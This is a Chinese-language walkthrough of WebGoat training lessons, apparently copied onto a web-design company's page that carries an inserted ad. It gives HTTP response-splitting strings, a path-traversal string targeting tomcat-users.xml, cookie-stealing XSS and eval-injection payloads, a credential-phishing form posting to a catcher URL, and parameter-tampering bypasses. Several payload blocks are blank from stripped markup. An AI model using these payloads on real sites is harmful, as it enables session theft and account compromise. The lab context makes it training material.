WebGoat题目解答(General~XSS)

***General*************************************************************

1、Http Spliting
    step1
        

成都创新互联公司专注于光泽企业网站建设,自适应网站建设,商城网站建设。光泽网站建设公司,为光泽等地区提供建站服务。全流程按需定制开发,专业设计,全程项目跟踪,成都创新互联公司专业和态度为您提供的服务

cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aContent-Type:%20text/html%0aContent-length:30%0aHaha

    step2
    //添加Last-Modified头,设置服务器页面的过期时间,注意日期的格式。
        

cn%0aContent-length:%200%0a%0aHTTP/1.1%20200%20OK%0aLast-Modified:%20Thu,%2001%20Jan%204099%2012:00:00%20GMT%20%20%20%0aContent-Type:%20text/html%0aContent-length:30%0aHaha

        
***Access Control Flaws**************************************************

1、Bypass a Path Based Access Control Scheme
    

../../../../../../../etc/tomcat6/tomcat-users.xml

    当前在第几级目录,则有多少个..就可以到根目录。
    
***AJAX Security*********************************************************
1、LAB: DOM-Based cross-site scripting
    step1
        

        submit
    step2
      

 
                                            onmouseover......

        

haha

     onmouseover/onmouseout......
        

haha

    step3
        

    step4
      

 Please enter your password:

Submit

        可以通关,但是pass.value会报错。
    step5
        编辑/owaspbwa/WebGoat-svn/target/WebGoat-5.4+SVN/javascript/DOMXSS.js,给name添加escapeHTML函数。

 function displayGreeting(name) {
        if (name != ''){
                document.getElementById("greeting").innerHTML="Hello, " + escapeHTML(name); + "!";
        }

        编码后,变成
          

 Hello, <a onclick="javascript:alert(/xss/)">haha</a>

2、LAB: Client Side Filtering
    step1
    用webscarab抓取Ajax数据,可以发现12个员工的数据。
3、XML Injection
4、JSON Injection
    用webscarab抓取xml、JSON数据直接进行修改即可。
5、Silent Transactions Attacks
    分析script代码知Ajax调用submitData(accountNo, balance)函数转账,则可直接调用此函数进行转账。在浏览器输入:

javascript:submitData(666,10000)

6、Dangerous Use of Eval
  

 123"');alert(document.cookie);//

    alert('Whoops:You entered an incorrect access code of "123"');alert(document.cookie);//"';
7、Insecure Client Storage
    step1
        firebug调试clientSideValidation.js,在42行return caesar处设置断点,连续运行即可发现所有coupon码:
        platinum gold pressone presstuo
        输入任意一个即可通过
    step2
        用webscarab抓取Ajax返回包,修改返回值为0即可完成。
        
***Authentication Flaws*************************************************************
1、Basic Authentication
    step1
        查看请求头即可知。
    step2
        1、使用webscarab删除认证头以及cookie(必须同时删除这两个)。
        2、在返回的登录框中用basic:basic登录。
        3、删掉此时cookie的值,即返回一个全新的webgoat。
        4、选择此次课程即可通过。
2、Multi Level Login 2
    以Joe/banana登录,输入指定的Tan即可查询自己的信息。此时通过webscarab修改发送请求的hidden_user的值为Jane即可。
3、Multi Level Login 1
    同上,修改hidden_tan的值即可。
    
***Buffer Overflows********************************************************************

1、Off-by-One Overflows
    使用burpsuite注入。
    
***Code Quality*************************************************************************

1、Discover Clues in the HTML
    查看html源码,搜索    
    
***Cross-Site Scripting (XSS)***********************************************************

1、Phishing with XSS
    构造form表单:
  

 



This feature requires account login:



Enter username: 
Enter password: 
     

    通过代理可以看到确实向服务器发送了http://xx.xx.xx.xx/webgoat/Catcher?PROPERTY=yes&user=XX&password=XX&submit=Login的请求,但提示请求的内容不存在!!!!!!!
2、LAB: Cross Site Scripting
    step1
        编辑tom的profile,修改street部分为:即可。
4、Reflected XSS Attacks
    观察发现,UpdateCart Purchase均以post提交数据,但Enter your credit card number:以及Enter your three digit access code:处的值均被post原样返回,所以可以在
    此处构造js。
5、Cross Site Request Forgery (CSRF)
    同Stored Xss    

6、CSRF Prompt By-Pass
    


7、CSRF Token By-Pass
    A、打开资金转账页面:在URL后添加transferFunds=main参数。
    B、查看页面源码,发现:
    C、构造Payload。关键是先加参数transferFunds=main打开转账页面获取该页面的CSRFToken。
    


    
    

网站名称:WebGoat题目解答(General~XSS)
URL分享:http://cdiso.cn/article/gpsdee.html

其他资讯